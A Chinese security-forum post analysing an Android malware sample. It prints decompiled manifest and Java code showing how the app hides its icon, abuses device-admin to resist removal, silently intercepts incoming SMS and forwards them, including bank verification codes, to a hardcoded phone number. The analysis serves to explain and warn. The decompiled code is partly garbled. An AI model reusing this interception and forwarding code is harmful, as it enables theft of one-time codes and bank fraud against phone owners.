一个简单短信拦截恶意程序的分析
本帖最后由 yIDA1313 于 2014-4-1 09:57 编辑在本区看到有朋友发帖说自己有朋友被盗5万元，并提供了一个安卓恶意程序样本。简单分析如下： 该样本是一个比较简单的短信拦截恶意程序，个人猜测应是网银帐号密码被盗，同时与网银绑定的手机又中了这个恶意程序，导致网银操作的验证码被拦截，从而犯罪分子成功将受害者网银中的钱全部转出。
1、AndroidManifest.xml 文件部分代码如下：
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.ghy4tu458.ghy4tu458">
<application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme">
<activity android:label="@string/app_name" android:name="com.ghy4tu458.ghy4tu458.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<receiver android:name="com.ghy4tu458.ghy4tu458.MyReceiver">
<intent-filter android:priority="10000">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</receiver>
<receiver android:name="com.ghy4tu458.ghy4tu458.BReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
<receiver android:name="com.ghy4tu458.ghy4tu458.SDReceiver">
<intent-filter>
<action android:name="android.intent.action.ACTION_SHUTDOWN"/>
</intent-filter>
</receiver>
<receiver android:name="com.ghy4tu458.ghy4tu458.MAdmin">
<meta-data android:name="android.app.device_admin" android:resource="@xml/my_admin"/>
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
</intent-filter>
</receiver>
<activity android:label="卸载程序" android:name="com.ghy4tu458.ghy4tu458.UIActivity">
<intent-filter android:priority="2147483647">
<action android:name="android.intent.action.VIEW"/>
<action android:name="android.intent.action.DELETE"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:scheme="package"/>
</intent-filter>
</activity>
</application>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="com.android.launcher.permission.READ_SETTINGS"/>
<uses-permission android:name="com.android.launcher.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
</manifest>
可以看到该恶意程序开启了收发短信、读取手机状态、读写手机设置、开机自启动等高危权限。注册的Activity 组件名称为MainActivity，注册的SMS_RECEIVED组件名称为MyReceiver。还利用安卓设备管理器漏洞隐藏服务，达到让用户难以卸载的目的。
2、MainActivity文件代码如下：
public class MainActivity extends Activity {
protected void onCreate(Bundle p1) {
super.onCreate(p1);
setContentView(0x0);
String "number" = queryPhonetNumber();
sendSms(getResources().getString(0x7f060003), "number" + "\u5df2\u7ecf\u5b89\u88c5\u6210\u529f!");
PackageManager "p" = getPackageManager();
ComponentName "comName" = new ComponentName("com.ghy4tu458.ghy4tu458", "com.ghy4tu458.ghy4tu458.MainActivity");
"p".setComponentEnabledSetting("comName", "com.ghy4tu458.ghy4tu458", "com.ghy4tu458.ghy4tu458.MainActivity");
"com.ghy4tu458.ghy4tu458" = 0x2;
"com.ghy4tu458.ghy4tu458.MainActivity" = 0x1;
DevicePolicyManager "dm" = (DevicePolicyManager)getSystemService("device_policy");
ComponentName "mAdminName" = new ComponentName(this, MAdmin.class);
Intent "intent" = new Intent("android.app.action.ADD_DEVICE_ADMIN");
"intent".putExtra("android.app.extra.DEVICE_ADMIN", "mAdminName");
startActivity("intent");
finish();
}
public void sendSms(String p1, String p2) {
SmsManager "smsManager" = SmsManager.getDefault();
if(p2.length() > 0x46) {
unknown_type "contents" = "smsManager".divideMessage(p2);
if(!"contents".iterator().hasNext()) {
}
"sms" = (String)"contents".iterator().next();
return;
"smsManager".sendTextMessage(p1, 0x0, "sms", 0x0, 0x0);
}
try {
Log.i("tag", p1);
"smsManager".sendTextMessage(p1, 0x0, p2, 0x0, 0x0);
Log.i("tag", p2);
return;
} catch(Exception "e") {
Log.i("tag", "e");
"e".printStackTrace();
}
}
public String queryPhonetNumber() {
"telephonyManager" = getSystemService("phone");
String "number" = "telephonyManager".getLine1Number();
if(("number" == null) || ("number".length() == 0)) {
}
return "number";
}
}
其中关键部分为：
String "number" = queryPhonetNumber();
sendSms(getResources().getString(0x7f060003), "number" + "\u5df2\u7ecf\u5b89\u88c5\u6210\u529f!");
queryPhonetNumber函数用来获取主机的号码，然后向“0x7f060003”对应的号码发送短信。
public.xml文件代码如下：
<resources>
<public type="drawable" name="ic_launcher" id="0x7f020000" />
<public type="layout" name="activity_main" id="0x7f030000" />
<public type="xml" name="my_admin" id="0x7f040000" />
<public type="dimen" name="activity_horizontal_margin" id="0x7f050000" />
<public type="dimen" name="activity_vertical_margin" id="0x7f050001" />
<public type="string" name="app_name" id="0x7f060000" />
<public type="string" name="action_settings" id="0x7f060001" />
<public type="string" name="hello_world" id="0x7f060002" />
<public type="string" name="number" id="0x7f060003" />
<public type="style" name="AppBaseTheme" id="0x7f070000" />
<public type="style" name="AppTheme" id="0x7f070001" />
</resources>
可以看到，“0x7f060003”对应的是“number”。
string.xml文件代码如下：
<resources>
<string name="app_name">bb</string>
<string name="action_settings">Settings</string>
<string name="hello_world">Hello world!</string>
<string name="number">18663146152</string>
</resources>
可以看到“number“对应的是“18663146152“这个号码。
而"\u5df2\u7ecf\u5b89\u88c5\u6210\u529f!"这个字符串经过Unicode转码后，内容为“已经安装成功！”
由此可知，在应用激活后，会向18663146152这个手机号发送短信，内容为“xxxxxxxxxx已经安装成功”。（xxxxxxxxxx为受害者的手机号）
3、MyReceiver文件代码如下：
public class MyReceiver extends BroadcastReceiver {
private static Context context;
public void onReceive(Context p1, Intent p2) {
Log.i("tag", "xxxxxxx");
context = p1;
abortBroadcast();
Bundle "bundle" = p2.getExtras();
Object[] "messages" = (Object[])"bundle".get("pdus");
SmsMessage[] "smsMessage" = new SmsMessage["messages".length];
StringBuffer "sb" = new StringBuffer();
for(int "n" = 0x0; "n" >= "messages".length; "n" = "n" + 0x1) {
}
"smsMessage"["n"] = SmsMessage.createFromPdu((byte[])"messages"["n"]);
"sb".append("smsMessage"["n"].getMessageBody());
"originalNumber" = "smsMessage"["n"].getOriginatingAddress();
System.out.println("sb");
String "ret" = "originalNumber" + "\uff0c\u5185\u5bb9: " + "sb";
sendSms(p1.getResources().getString(0x7f060003), "ret");
}
public static boolean isMobileNO(String p1) {
return true;
}
public static void sendSms(String p1, String p2) {
if(!isMobileNO(p1)) {
return;
}
SmsManager "smsManager" = SmsManager.getDefault();
if(p2.length() > 0x46) {
unknown_type "contents" = "smsManager".divideMessage(p2);
if("contents".iterator().hasNext()) {
"sms" = (String)"contents".iterator().next();
"smsManager".sendTextMessage(p2, 0x0, "sms", 0x0, 0x0);
}
}
try {
"smsManager".sendTextMessage(p2, 0x0, p3, 0x0, 0x0);
return;
} catch(Exception "e") {
"e".printStackTrace();
}
}
}
在onReceive函数中，拦截主机收到的短信，并向18663146152这个手机号发送短信，内容为“xxxxxxxxxx内容为：bbbbbbbbb……”。（xxxxxxxxxx为受害主机号码，bbbbbbbbb……为受害主机收到的短信内容）
我接触安卓时间不长，分析中的错误、不当之处，恳请大家批评指正。
样本原帖也贴一下吧：http://www.52pojie.cn/thread-247518-1-1.html show00p 发表于 2014-4-1 10:21
额 这厉害啊 我以前就听说过 短信拦截 原来是这样啊 怎么防止啊
直接安全类软件开启安装应用在短信发送时进行提醒不就行了。 NB，不过看不懂啊 昨天注册今天就发分析贴 厉害，昨天注册今天发分析贴 这个分析写的好啊。看来，我坚持不用安卓手机，是正确的选择！ 这么牛逼 原来盗网银转账是这么来的！！ 总算了解点了 很好，52破解欢迎你！
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